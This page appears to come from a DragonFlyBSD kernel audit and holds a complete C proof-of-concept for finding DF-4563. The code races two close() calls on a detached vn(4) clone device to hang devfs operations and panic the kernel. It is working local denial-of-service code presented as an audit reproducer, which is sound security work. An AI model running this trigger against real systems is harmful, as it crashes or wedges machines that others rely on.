⬢ DragonFlyBSD Kernel Audit
DF-4563 / stall.c
← back to finding ↓ download raw
/*
 * DF-4563 minimal trigger: vn(4) close-path teardown race.
 *
 * Loop: clone a vn unit via /dev/vn, attach it swap-backed, detach it
 * (arms VNF_DESTROY on clone units), open the unit a second time, then
 * race two close() calls on the two descriptors.
 *
 * On the stock kernel this wedges the losing close in uninterruptible
 * sleep (often for minutes, hanging unrelated devfs operations too) and
 * then panics with:
 *   panic: assertion "(sr->flags & SRF_PUTAWAY) == 0" failed in sysref_put
 *   release_dev() -> devfs_destroy_dev_worker() -> devfs_destroy_related_worker()
 */
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <fcntl.h>
#include <time.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/vnioctl.h>
#include <string.h>
#include <unistd.h>

static volatile int barrier;
static int fdA, fdB;
static struct timespec tA0, tA1, tB0, tB1;

static void *closerA(void *x){ while(!barrier); clock_gettime(CLOCK_MONOTONIC,&tA0); close(fdA); clock_gettime(CLOCK_MONOTONIC,&tA1); return NULL; }
static void *closerB(void *x){ while(!barrier); clock_gettime(CLOCK_MONOTONIC,&tB0); close(fdB); clock_gettime(CLOCK_MONOTONIC,&tB1); return NULL; }

static double ts(struct timespec *a, struct timespec *b){ return (b->tv_sec-a->tv_sec)+1e-9*(b->tv_nsec-a->tv_nsec); }

int main(int argc, char **argv)
{
	struct vn_ioctl vio;
	struct stat st, st2;
	char path[64];
	int n = argc > 1 ? atoi(argv[1]) : 500;
	double worst = 0;
	int stalls = 0;
	pthread_t ta, tb;
	int i, u;

	for (i = 0; i < n; i++) {
		int fd1 = open("/dev/vn", O_RDWR);		/* clone */
		if (fd1 < 0 || fstat(fd1, &st) < 0) {
			printf("clone fail\n");
			break;
		}
		path[0] = 0;
		for (u = 4; u < 64; u++) {			/* find our node */
			snprintf(path, sizeof(path), "/dev/vn%d", u);
			if (stat(path, &st2) < 0)
				continue;
			if (st2.st_rdev == st.st_rdev)
				break;
			path[0] = 0;
		}
		if (!path[0]) { close(fd1); continue; }
		bzero(&vio, sizeof(vio));
		vio.vn_file = NULL;				/* swap-backed */
		vio.vn_size = 16;
		if (ioctl(fd1, VNIOCATTACH, &vio) < 0) { close(fd1); continue; }
		bzero(&vio, sizeof(vio));
		if (ioctl(fd1, VNIOCDETACH, &vio) < 0) { close(fd1); continue; }
		int fd2 = open(path, O_RDWR);
		if (fd2 < 0) { close(fd1); continue; }
		fdA = fd1; fdB = fd2; barrier = 0;
		pthread_create(&ta, NULL, closerA, NULL);
		pthread_create(&tb, NULL, closerB, NULL);
		barrier = 1;
		pthread_join(ta, NULL); pthread_join(tb, NULL);
		double d = ts(&tA0, &tA1), e = ts(&tB0, &tB1);
		if (d > worst) worst = d;
		if (e > worst) worst = e;
		if (d > 1.0 || e > 1.0) {
			stalls++;
			printf("iter %d: closeA=%.3fs closeB=%.3fs\n", i, d, e);
			fflush(stdout);
		}
		if ((i % 100) == 0) {
			printf("i=%d worst=%.3f stalls=%d\n", i, worst, stalls);
			fflush(stdout);
		}
	}
	printf("DONE n=%d worst_close=%.3fs stalls>1s=%d\n", n, worst, stalls);
	return 0;
}